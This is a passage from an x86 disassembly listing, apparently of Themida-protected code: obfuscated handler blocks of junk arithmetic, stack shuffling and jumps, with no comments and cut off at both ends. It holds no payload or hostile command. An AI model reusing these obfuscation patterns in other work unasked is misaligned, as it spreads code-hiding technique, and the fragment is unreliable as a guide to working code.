		mov	edx, esp
		add	edx, 4
		jmp	loc_561AD7
; ---------------------------------------------------------------------------


loc_566785:				; CODE XREF: sub_56207C-8CEj
		push	499Eh
		mov	[esp+36h+var_38+2], eax
		push	ecx
		jmp	loc_572829
; ---------------------------------------------------------------------------


loc_566793:				; CODE XREF: sub_56207C+B1Ej
		push	dword ptr [edi+1Ch]
		push	[esp+38h+var_38]
		jmp	loc_55F214
; ---------------------------------------------------------------------------


loc_56679E:				; CODE XREF: sub_56207C+A005j
		sub	ebx, edx
		pop	edx
		jmp	loc_5703A0
; ---------------------------------------------------------------------------


loc_5667A6:				; CODE XREF: sub_56207C+2C14j
		push	ecx
		mov	ecx, 9193032h
		or	ebx, ecx
		pop	ecx
		shl	ebx, 8
		add	ebx, 5DF976E1h
		add	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_571910
; ---------------------------------------------------------------------------


loc_5667C1:				; CODE XREF: sub_56207C+2D86j
		sub	ebp, 4E7B191Ch
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_56600F
; ---------------------------------------------------------------------------


loc_5667D5:				; CODE XREF: sub_56207C+2F07j
		add	edx, 4
		xchg	edx, [esp+26h+var_28+2]
		jmp	loc_56199B
; ---------------------------------------------------------------------------


loc_5667E0:				; CODE XREF: sub_56207C+6D17j
		mov	edi, 200000h
		and	eax, edi
		push	[esp+26h+var_28+2]
		pop	edi
		push	edx
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esp
		add	[esp+2Eh+var_30+2], 4
		pop	edx
		push	ecx
		mov	ecx, 65C8478Fh
		xor	ecx, 3D3F5040h
		add	ecx, 0A708E835h
		add	edx, ecx
		mov	ecx, [esp+2Eh+var_30+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp+2Eh+var_2C+2]
		push	[esp+32h+var_34+2]
		pop	edx
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 53DE0229h
		dec	ebx
		or	ebx, 1951F0Ah
		or	ebx, 14AA037Ah
		shl	ebx, 5
		sub	ebx, 377725AEh
		add	ebx, 37933672h
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 3DB3684Bh
		sub	eax, 1A755A32h
		add	eax, 75981757h
		push	edi
		mov	edi, 66A32D14h
		jmp	loc_563333
; ---------------------------------------------------------------------------


loc_566869:				; CODE XREF: sub_56207C+287j
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+22h+var_20+2]
		pop	eax
		jmp	loc_564AFA
; ---------------------------------------------------------------------------


loc_566895:				; CODE XREF: sub_56207C+9340j
		mov	[esp+22h+var_24+2], edx
		push	10DCh
		push	esp
		pop	[esp+2Ah+var_2C+2]
		push	edx
		mov	edx, 4
		add	[esp+2Ah+var_28+2], edx
		pop	edx
		jmp	loc_569679
; ---------------------------------------------------------------------------


loc_5668B1:				; CODE XREF: sub_56207C+78CCj
		add	esp, 4
		mov	eax, [esp+22h+var_24+2]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_564DC4
; ---------------------------------------------------------------------------


loc_5668CA:				; CODE XREF: sub_56207C+BFDDj
		xor	edi, esi
		jmp	loc_571572
; ---------------------------------------------------------------------------


loc_5668D1:				; CODE XREF: sub_56207C+6AD7j
		pop	edi
		sub	edi, 78A57430h
		pop	ebp
		add	[esp+16h+var_14+2], 3B8B71D5h
		jmp	loc_56FF45
; ---------------------------------------------------------------------------


loc_5668E6:				; CODE XREF: sub_56207C+BE3j
		mov	edi, 3FB7425Dh
		sub	edi, 2AED1A6Ch
		sub	edi, 0F04A0D1Fh
		jmp	loc_562D0C
; ---------------------------------------------------------------------------


loc_5668FC:				; CODE XREF: sub_56207C-2887j
		not	edi
		xchg	edi, ecx
		sub	ecx, 0E923F6D4h
		sub	edx, ecx
		pop	ecx
		add	edx, esi
		push	6427h
		jmp	loc_563D4D
; ---------------------------------------------------------------------------


loc_566915:				; CODE XREF: sub_56207C+AE42j
		pop	edi
		or	esi, 7E8161AAh
		push	ebx
		push	ecx
		mov	ecx, 38C1813h
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		push	ebx
		mov	ebx, 14853AF5h
		shl	ebx, 4
		jmp	loc_56DABB
; ---------------------------------------------------------------------------


loc_56693A:				; CODE XREF: sub_56207C-29C9j
		mov	ebp, 42DB3832h
		push	0F0Eh
		mov	[esp+20h+var_20], ebx
		push	esi
		mov	esi, 77857FCBh
		shr	esi, 8
		jmp	loc_56FC41
; ---------------------------------------------------------------------------


loc_566955:				; CODE XREF: sub_56207C-384Cj
		add	esp, 4
		add	ebx, 58C9719Ah
		add	ebx, eax
		sub	ebx, 58C9719Ah
		push	eax
		push	ebp
		mov	ebp, 6A3A37C8h
		mov	eax, ebp
		pop	ebp
		jmp	loc_55F679
; ---------------------------------------------------------------------------


loc_566975:				; CODE XREF: sub_56207C+3ADj
		push	ecx
		jmp	loc_56F0C0
; ---------------------------------------------------------------------------


loc_56697B:				; CODE XREF: sub_56207C+1301j
		push	ebx
		jmp	loc_565093
; ---------------------------------------------------------------------------


loc_566981:				; DATA XREF: Themida_:0055E10Co
		mov	ax, word ptr [esp+2Ch+var_2C]
		push	167Bh
		mov	[esp+30h+var_30], esi
		push	esp
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		push	eax
		mov	eax, 5CBA4355h
		shl	eax, 6
		jmp	loc_57275D
; ---------------------------------------------------------------------------


loc_5669A5:				; CODE XREF: sub_56207C+3C36j
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		push	ecx
		jmp	loc_56B2F0
; ---------------------------------------------------------------------------


loc_5669BA:				; CODE XREF: sub_56207C+524Ej
		xor	ebx, ecx
		jmp	loc_56B01F
; ---------------------------------------------------------------------------


loc_5669C1:				; CODE XREF: sub_56207C+887Bj
		shl	ecx, 8
		add	ecx, 671C2754h
		add	ecx, 0D75E83B0h
		add	esi, ecx
		jmp	loc_569616
; ---------------------------------------------------------------------------


loc_5669D7:				; CODE XREF: sub_56207C+2D7Dj
		pop	ebx
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_572653
; ---------------------------------------------------------------------------


loc_5669E4:				; CODE XREF: sub_56207C+4638j
		pop	esp
		add	edx, ebx
		sub	edx, 260B5894h
		pop	ebx


loc_5669EE:				; CODE XREF: sub_56207C-475j
					; sub_56207C+610j
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebx
		mov	eax, [esp+2Ch+var_2C]
		push	ecx
		push	5067h
		push	esp
		jmp	loc_56908A
; ---------------------------------------------------------------------------


loc_566A06:				; CODE XREF: sub_56207C+B604j
		push	1E45h
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_5618E4
; ---------------------------------------------------------------------------


loc_566A13:				; CODE XREF: sub_56207C+10ABAj
		push	ecx
		push	esi
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		add	[esp+40h+var_3C], ecx
		pop	ecx
		pop	ebp
		push	esi
		mov	esi, 4
		sub	ebp, 134C5585h
		add	ebp, esi
		jmp	loc_56B285
; ---------------------------------------------------------------------------


loc_566A36:				; CODE XREF: sub_56207C+2820j
		sub	edx, 6687187Dh
		push	1BA9h
		mov	[esp+30h+var_30], ebx
		mov	ebx, 1513038Fh
		shr	ebx, 7
		xor	ebx, 679B5853h
		jmp	loc_56DD53
; ---------------------------------------------------------------------------


loc_566A57:				; CODE XREF: sub_56207C-35DCj
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	[esp+32h+var_30+2], 29F65CAAh
		add	[esp+32h+var_30+2], ebx
		jmp	loc_569ADB
; ---------------------------------------------------------------------------


loc_566A72:				; CODE XREF: sub_56207C+FF5Ej
		xchg	edi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]


loc_566A78:				; CODE XREF: sub_56207C+FD34j
		push	1B10h
		mov	[esp+36h+var_38+2], ebx
		push	362Ah
		mov	[esp+3Ah+var_3C+2], eax
		push	131Dh
		mov	[esp+3Eh+var_40+2], ebp
		push	2ECA3208h
		mov	ebp, [esp+42h+var_44+2]
		push	ebp
		jmp	loc_56FFF7
; ---------------------------------------------------------------------------


loc_566A9E:				; CODE XREF: sub_56207C+CAEDj
		add	ebx, 4
		xchg	ebx, [esp+46h+var_48+2]
		mov	esp, [esp+46h+var_48+2]
		push	ecx
		push	edx
		mov	dl, 3Fh
		mov	ch, dl
		pop	edx
		add	al, 1Bh
		sub	al, ch
		sub	al, 1Bh
		pop	ecx
		sub	al, dh
		add	al, 3Fh
		jmp	loc_56572B
; ---------------------------------------------------------------------------


loc_566AC1:				; CODE XREF: sub_56207C+1F82j
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], esi
		jmp	loc_561D64
; ---------------------------------------------------------------------------


loc_566ACF:				; CODE XREF: sub_56207C+3B32j
		push	2BD0h
		mov	[esp+10h+var_10], edi
		mov	edi, 37661307h
		sub	edi, 1DFC4A72h
		shl	edi, 1
		shr	edi, 5
		xor	edi, 111B8264h
		xor	eax, edi
		pop	edi
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		jmp	loc_560B9A
; ---------------------------------------------------------------------------


loc_566AFA:				; DATA XREF: Themida_:0055E314o
		mov	ax, word ptr [esp+8+var_8]
		push	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		jmp	loc_55F27F
; ---------------------------------------------------------------------------


loc_566B14:				; CODE XREF: sub_56207C+8585j
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		jmp	loc_56F511
; ---------------------------------------------------------------------------


loc_566B26:				; CODE XREF: sub_56207C+207j
		pop	eax
		jmp	loc_56C6D9
; ---------------------------------------------------------------------------


loc_566B2C:				; CODE XREF: sub_56207C+108E1j
		sub	edx, 0D09CD0EAh
		jmp	loc_56C336
; ---------------------------------------------------------------------------


loc_566B37:				; CODE XREF: sub_56207C+10136j
		pop	ebp
		jmp	loc_56A5BA
; ---------------------------------------------------------------------------


loc_566B3D:				; CODE XREF: sub_56207C+DD01j
		push	eax
		mov	eax, 24AD4027h
		sub	edi, 75337735h
		sub	edi, eax
		add	edi, 75337735h
		pop	eax
		mov	esi, [esp+1Eh+var_20+2]
		add	esp, 4
		push	64Bh
		mov	[esp+1Eh+var_20+2], edi
		push	[esp+1Eh+var_1C+2]
		mov	edi, [esp+22h+var_24+2]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 1C516FA0h
		neg	edx
		or	edx, 4E032141h
		add	edx, 1
		add	edx, 10504EA2h
		sub	ecx, 6FF1702Eh
		add	ecx, edx
		add	ecx, 6FF1702Eh
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp+26h+var_28+2]
		pop	esp
		pop	[esp+22h+var_24+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	ax, word ptr [esp+1Eh+var_20+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5721D6
; ---------------------------------------------------------------------------


loc_566BB8:				; CODE XREF: sub_56207C+CF9Bj
		push	ecx
		jmp	loc_572873
; ---------------------------------------------------------------------------


loc_566BBE:				; CODE XREF: sub_56207C+5892j
		add	eax, edi
		pop	edi
		push	ecx
		push	edx
		mov	edx, 98B3E4Fh
		push	10BCh
		mov	[esp+2Eh+var_30+2], eax
		mov	eax, 47C16EB8h
		xor	edx, eax
		pop	eax
		xor	edx, 4DFC2E4Dh
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ebp
		push	esi
		jmp	loc_56BD17
; ---------------------------------------------------------------------------


loc_566BED:				; CODE XREF: sub_56207C+C8Bj
		pop	edi
		or	[edi+1Ch], ecx
		jmp	loc_561B88
; ---------------------------------------------------------------------------


loc_566BF6:				; CODE XREF: sub_56207C-1932j
		pop	edi
		sub	edx, eax
		pop	eax
		mov	esi, [esp+12h+var_14+2]
		jmp	loc_56D23E
; ---------------------------------------------------------------------------


loc_566C02:				; CODE XREF: sub_56207C+F6DCj
		add	edi, 4
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, 4
		push	edx
		push	64FE0A85h
		pop	edx
		or	edx, 68BB2B41h
		jmp	loc_560B46
; ---------------------------------------------------------------------------


loc_566C28:				; CODE XREF: sub_56207C-5B9j
		pop	eax
		add	ecx, esi
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_561F45
; ---------------------------------------------------------------------------


loc_566C36:				; CODE XREF: sub_56207C+103CAj
		shl	edx, 5
		jmp	loc_56247E
; ---------------------------------------------------------------------------


loc_566C3E:				; CODE XREF: sub_56207C+EA0Cj
		add	esp, 4
		inc	ecx
		jmp	loc_55ED9E
; ---------------------------------------------------------------------------


loc_566C47:				; CODE XREF: sub_56207C+4135j
		pop	edx
		jmp	loc_57350F
; ---------------------------------------------------------------------------


loc_566C4D:				; CODE XREF: sub_56207C+D1EAj
		mov	ecx, 3AD4485Ah
		not	ecx
		sub	ecx, 68D1AA6Fh
		sub	eax, ecx
		pop	ecx
		push	esi
		jmp	loc_56C58C
; ---------------------------------------------------------------------------


loc_566C63:				; CODE XREF: sub_56207C+BC91j
		pop	esi
		xor	ecx, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], ecx
		xor	ecx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		sub	word ptr [esp+5Ch+var_5C], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_566C7A:				; CODE XREF: sub_56207C+DC4Aj
		add	cl, 3Eh
		add	al, cl
		jmp	loc_56C6D3
; ---------------------------------------------------------------------------


loc_566C84:				; CODE XREF: sub_56207C+1890j
		push	3587h
		jmp	loc_571B7A
; ---------------------------------------------------------------------------


loc_566C8E:				; CODE XREF: sub_56207C+10470j
		inc	edx
		xchg	eax, edx
		shl	eax, 1
		sub	eax, 6B6A1AFEh
		add	edx, 4FC43C6Fh
		add	edx, eax
		sub	edx, 4FC43C6Fh
		pop	eax
		add	edx, 4
		jmp	loc_56B184
; ---------------------------------------------------------------------------


loc_566CB1:				; CODE XREF: sub_56207C+C015j
		push	ebp
		push	ecx
		push	432E7A42h
		pop	ecx
		xor	ecx, 5A7B1D71h
		jmp	loc_562204
; ---------------------------------------------------------------------------


loc_566CC4:				; CODE XREF: sub_56207C+97A8j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+26h+var_28+2]
		jmp	loc_561ADF
; ---------------------------------------------------------------------------


loc_566CD6:				; CODE XREF: sub_56207C+67EDj
		push	[esp+26h+var_24+2]
		jmp	loc_55E523
; ---------------------------------------------------------------------------


loc_566CDF:				; CODE XREF: sub_56207C+8689j
		xor	edi, [esp+2Ah+var_2C+2]
		jmp	loc_5647C8
; ---------------------------------------------------------------------------


loc_566CE7:				; CODE XREF: sub_56207C+105DFj
		mov	[esp+2Ah+var_2C+2], ecx
		mov	ecx, 2
		add	ebx, ecx
		push	[esp+2Ah+var_2C+2]
		pop	ecx
		add	esp, 4
		jmp	loc_56571A
; ---------------------------------------------------------------------------


loc_566CFD:				; CODE XREF: sub_56207C+9006j
		pop	ebp
		xor	edx, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], edx
		xor	edx, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		push	[esp+22h+var_24+2]
		mov	eax, [esp+26h+var_28+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56FED4
; ---------------------------------------------------------------------------


loc_566D1E:				; CODE XREF: sub_56207C+35D1j
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 76025351h
		push	eax
		mov	eax, 5ADC0E99h
		sub	eax, 337B1258h
		push	esi
		mov	esi, 2A151F4Dh
		xor	eax, esi
		jmp	loc_56B530
; ---------------------------------------------------------------------------


loc_566D3E:				; CODE XREF: sub_56207C-1009j
		mov	[esp+34h+var_34], edx
		mov	dl, 2Bh
		push	cx
		mov	cl, 5Dh
		jmp	loc_561E78
; ---------------------------------------------------------------------------


loc_566D4C:				; CODE XREF: sub_56207C+1AB8j
		mov	edx, 168C7A6Dh
		push	ecx
		mov	ecx, 664502E4h
		jmp	loc_5649DA
; ---------------------------------------------------------------------------


loc_566D5C:				; CODE XREF: sub_56207C+CD58j
		mov	[esp+26h+var_28+2], eax
		sub	esp, 4
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esp
		add	[esp+2Eh+var_30+2], 4
		pop	[esp+2Eh+var_30+2]
		push	esi
		jmp	loc_566E60
; ---------------------------------------------------------------------------


loc_566D7B:				; CODE XREF: sub_56207C+41E6j
		add	edi, edx
		pop	edx
		jmp	loc_564089
; ---------------------------------------------------------------------------


loc_566D83:				; CODE XREF: sub_56207C+11324j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_566D8F:				; CODE XREF: Themida_:0055E61Dj
		mov	[esp+3Eh+var_40+2], esi
		mov	esi, 4
		mov	ebp, esi
		jmp	loc_568FEE
; ---------------------------------------------------------------------------


loc_566D9E:				; CODE XREF: sub_56207C+9ACBj
		sub	ebx, 23B726DEh
		add	ebx, 6137252Bh
		mov	edx, ebx
		pop	ebx
		jmp	loc_56F70B
; ---------------------------------------------------------------------------


loc_566DB2:				; CODE XREF: sub_56207C-285Cj
		add	esp, 4
		dec	ecx
		dec	ecx
		push	edx
		push	39C95509h
		pop	edx
		not	edx
		jmp	loc_56BA1C
; ---------------------------------------------------------------------------


loc_566DC8:				; CODE XREF: sub_56207C+B350j
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_566DD0:				; DATA XREF: Themida_:0055E19Co
		mov	cx, [esp+0]
		push	54EAh
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_570CB3
; ---------------------------------------------------------------------------


loc_566DF1:				; CODE XREF: sub_56207C+7FA2j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_562459
; ---------------------------------------------------------------------------


loc_566DFC:				; CODE XREF: sub_56207C+5C25j
		mov	ecx, 586137EFh
		xor	ecx, 40343542h
		push	eax
		jmp	loc_565A73
; ---------------------------------------------------------------------------


loc_566E0D:				; CODE XREF: sub_56207C+A308j
		pop	esp
		shr	eax, 10h
		jmp	loc_55EA3A
; ---------------------------------------------------------------------------


loc_566E16:				; CODE XREF: sub_56207C-32E3j
		sub	[edi+20h], ebx
		jmp	loc_568FAE
; ---------------------------------------------------------------------------


loc_566E1E:				; CODE XREF: sub_56207C-2474j
		pop	edi
		sub	ebp, 7CDD02CFh
		jmp	loc_5708C9
; ---------------------------------------------------------------------------


loc_566E2A:				; CODE XREF: sub_56207C+8BC9j
		pop	ebx
		add	al, 0F7h
		push	2E14h
		mov	[esp-10h+arg_C], edx
		sub	esp, 2
		jmp	loc_56B0EF
; ---------------------------------------------------------------------------


loc_566E3D:				; CODE XREF: sub_56207C+2E28j
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_560FAD
; ---------------------------------------------------------------------------


loc_566E4F:				; CODE XREF: sub_56207C+E704j
		add	esp, 4
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_56F4FA
; ---------------------------------------------------------------------------


loc_566E60:				; CODE XREF: sub_56207C+4CFAj
		mov	esi, 4
		sub	[esp+2Eh+var_2C+2], 28D54F39h
		jmp	loc_56A594
; ---------------------------------------------------------------------------


loc_566E72:				; CODE XREF: sub_56207C+6650j
		xor	ebp, 418C3988h
		shr	ebp, 6
		dec	ebp
		sub	ebp, 0D6A140E4h
		mov	edi, ebp
		pop	ebp
		shl	edi, 1
		jmp	loc_56AA0F
; ---------------------------------------------------------------------------


loc_566E8C:				; CODE XREF: sub_56207C-2992j
		push	ecx
		push	edi
		jmp	loc_571DBF
; ---------------------------------------------------------------------------


loc_566E93:				; CODE XREF: sub_56207C+FBC1j
		inc	bh
		push	dx
		mov	dl, 0C2h
		add	bh, dl
		jmp	loc_55F8B3
; ---------------------------------------------------------------------------


loc_566EA0:				; CODE XREF: sub_56207C+2251j
		mov	esp, [esp+28h+var_28]
		pop	[esp+28h+var_28]
		mov	esp, [esp+24h+var_24]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_566EAE:				; CODE XREF: sub_56207C+3D49j
		push	ebx
		jmp	loc_56CED7
; ---------------------------------------------------------------------------


loc_566EB4:				; DATA XREF: Themida_:0055E1A0o
		mov	cx, word ptr [esp+46h+var_48+2]
		push	esi
		mov	esi, esp
		push	2D0h
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_5654F8
; ---------------------------------------------------------------------------


loc_566EDA:				; CODE XREF: sub_56207C+11E3j
		add	esp, 4
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		jmp	loc_570207
; ---------------------------------------------------------------------------


loc_566EE8:				; CODE XREF: sub_56207C+1002Aj
		add	ebp, 41BA5704h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		mov	ecx, esp
		push	edi
		jmp	loc_56118E
; ---------------------------------------------------------------------------


loc_566F06:				; CODE XREF: sub_56207C+37Ej
		pop	ecx
		mov	edx, 0EE00EEBCh
		add	edx, edi
		pop	edi
		add	[esp+42h+var_40+2], 6F1E7640h
		add	[esp+42h+var_40+2], edx
		sub	[esp+42h+var_40+2], 6F1E7640h
		pop	edx
		mov	edi, [esp+3Eh+var_40+2]
		jmp	loc_567195
; ---------------------------------------------------------------------------


loc_566F2C:				; CODE XREF: sub_56207C+2D2j
		push	esi
		mov	esi, 23DE1847h
		xor	ecx, esi
		pop	esi
		add	edx, 75912234h
		add	edx, ecx
		push	ebx
		jmp	loc_567BAA
; ---------------------------------------------------------------------------


loc_566F43:				; DATA XREF: Themida_:0055E1B0o
		push	[esp+1Eh+var_20+2]
		push	[esp+22h+var_24+2]
		push	[esp+26h+var_28+2]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	31B5h
		mov	[esp+2Eh+var_30+2], eax
		push	[esp+2Eh+var_2C+2]
		pop	eax
		pop	[esp+2Eh+var_30+2]
		mov	esp, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	188Fh
		jmp	loc_56005A
; ---------------------------------------------------------------------------


loc_566F80:				; CODE XREF: sub_56207C+F6AFj
		inc	ebp
		shl	ebp, 4
		jmp	loc_57342F
; ---------------------------------------------------------------------------


loc_566F89:				; CODE XREF: sub_56207C+5FB7j
		add	eax, esi
		push	[esp+2Eh+var_30+2]
		pop	esi
		push	ebp
		jmp	loc_56D467
; ---------------------------------------------------------------------------


loc_566F95:				; CODE XREF: sub_56207C+B207j
		neg	ch
		push	edx
		mov	dh, ch
		inc	dh
		mov	ch, dh
		pop	edx
		jmp	loc_571CC5
; ---------------------------------------------------------------------------


loc_566FA4:				; CODE XREF: sub_56207C+5342j
		mov	[esp+32h+var_34+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		push	ebx
		push	esp
		mov	ebx, [esp+3Ah+var_3C+2]
		jmp	loc_570B15
; ---------------------------------------------------------------------------


loc_566FC5:				; CODE XREF: sub_56207C-2255j
		not	ecx
		xchg	ecx, ebx
		inc	ebx
		neg	ebx
		add	ebx, 9FF7BE1Ch
		jmp	loc_566059
; ---------------------------------------------------------------------------


loc_566FD7:				; CODE XREF: sub_56207C+8D7j
		dec	ebx
		inc	ebx
		shl	ebx, 8
		jmp	loc_561893
; ---------------------------------------------------------------------------


loc_566FE1:				; CODE XREF: sub_56207C+5C04j
		not	bx
		add	bx, 1
		add	bx, 0FFFFh
		add	bx, 5D46h
		sub	ax, 14E0h
		add	ax, 4FA9h
		sub	ax, bx
		jmp	loc_570058
; ---------------------------------------------------------------------------


loc_567003:				; CODE XREF: sub_56207C+10AF2j
		sub	eax, ecx
		mov	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_55F28C
; ---------------------------------------------------------------------------


loc_56700D:				; CODE XREF: sub_56207C+5856j
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		add	eax, 791F2F4Ch
		add	eax, esi
		sub	eax, 791F2F4Ch
		pop	esi
		xor	eax, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], eax
		jmp	loc_56466E
; ---------------------------------------------------------------------------


loc_567045:				; CODE XREF: sub_56207C+92B8j
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 6D6E1C30h
		sub	ebx, 0FFFFFFFFh
		jmp	loc_56889C
; ---------------------------------------------------------------------------


loc_56705B:				; CODE XREF: sub_56207C+105BDj
		xchg	eax, ebp
		pop	ebp
		add	eax, 4F82C66h
		not	eax
		sub	eax, 89EE9D3h
		add	edi, eax
		pop	eax
		jmp	loc_565F3B
; ---------------------------------------------------------------------------


loc_567071:				; DATA XREF: Themida_:0055E170o
		push	ebp
		push	esp
		pop	ebp
		push	edx
		push	ecx
		mov	ecx, 26A42ADBh
		jmp	loc_5652BE
; ---------------------------------------------------------------------------


loc_567080:				; CODE XREF: sub_56207C+14F9j
		sub	esp, 4
		mov	[esp+38h+var_38], esp
		push	ebx
		mov	ebx, 4
		add	[esp+3Ch+var_38], ebx
		push	[esp+3Ch+var_3C]
		pop	ebx
		jmp	loc_56BF24
; ---------------------------------------------------------------------------


loc_56709C:				; CODE XREF: sub_56207C+9CF3j
		push	ebx
		push	41DD1014h
		push	[esp+44h+var_44]
		pop	ebx
		add	esp, 4
		or	ebx, 57522280h
		xor	ebx, 40275A6Dh
		xor	ebx, 20970F47h
		xor	ebx, 56456934h
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		not	ecx
		jmp	loc_5698A3
; ---------------------------------------------------------------------------


loc_5670D1:				; CODE XREF: sub_56207C+994Fj
		push	ebx
		push	eax
		mov	eax, 1AE52775h
		jmp	loc_570A92
; ---------------------------------------------------------------------------


loc_5670DD:				; CODE XREF: sub_56207C+CDEDj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		xchg	ebx, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		imul	cx
		push	3642h
		mov	[esp+48h+var_48], edi
		mov	edi, esp
		jmp	loc_56FE74
; ---------------------------------------------------------------------------


loc_56710A:				; CODE XREF: sub_56207C-1EE2j
		not	edi
		shr	edi, 3
		or	edi, 605A6A78h
		sub	edi, 2D365610h
		add	edi, 0EF43693Ah
		jmp	loc_572A04
; ---------------------------------------------------------------------------


loc_567126:				; CODE XREF: sub_56207C+6C12j
		pop	ecx
		add	esp, 4
		add	ecx, 4
		jmp	loc_564183
; ---------------------------------------------------------------------------


loc_567138:				; CODE XREF: sub_56207C+2CCEj
		add	esp, 4
		not	ecx
		push	ecx
		jmp	loc_564C17
; ---------------------------------------------------------------------------


loc_567143:				; CODE XREF: sub_56207C+27D6j
		sub	eax, 24E9172Ah
		jmp	loc_561E83
; ---------------------------------------------------------------------------


loc_56714D:				; CODE XREF: sub_56207C-1735j
		mov	[esp+34h+var_34], ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_55EAB5
; ---------------------------------------------------------------------------


loc_56715C:				; CODE XREF: sub_56207C+6C4Dj
		push	60CBh
		mov	[esp+38h+var_38], ebx
		push	esi
		push	ecx
		push	6E49344Eh
		pop	ecx
		xor	ecx, 58484F58h
		push	esi
		jmp	loc_56EB84
; ---------------------------------------------------------------------------


loc_567178:				; CODE XREF: sub_56207C+E676j
		pop	edx
		pop	edx
		push	[esp+3Ch+var_3C]
		pop	ecx
		jmp	loc_564C6C
; ---------------------------------------------------------------------------


loc_567183:				; CODE XREF: sub_56207C-707j
		mov	esp, [esp+1Eh+var_20+2]
		mov	fs:[edx], al
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56718E:				; CODE XREF: sub_56207C+5C60j
		pop	dx
		jmp	loc_571DE5
; ---------------------------------------------------------------------------


loc_567195:				; CODE XREF: sub_56207C+4EABj
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 62B97F6Fh
		sub	ebx, 62B97F6Dh
		add	edi, 1AAD3DFAh
		add	edi, ebx
		sub	esp, 4
		mov	[esp+42h+var_44+2], ecx
		mov	ecx, 11D47EBBh
		jmp	loc_5603DB
; ---------------------------------------------------------------------------


loc_5671C5:				; CODE XREF: sub_56207C+DF76j
		xor	ecx, 4447982Ch
		sub	ebx, ecx
		jmp	loc_55FD2E
; ---------------------------------------------------------------------------


loc_5671D2:				; CODE XREF: sub_56207C+F14Aj
		mov	[esp+42h+var_44+2], ebx
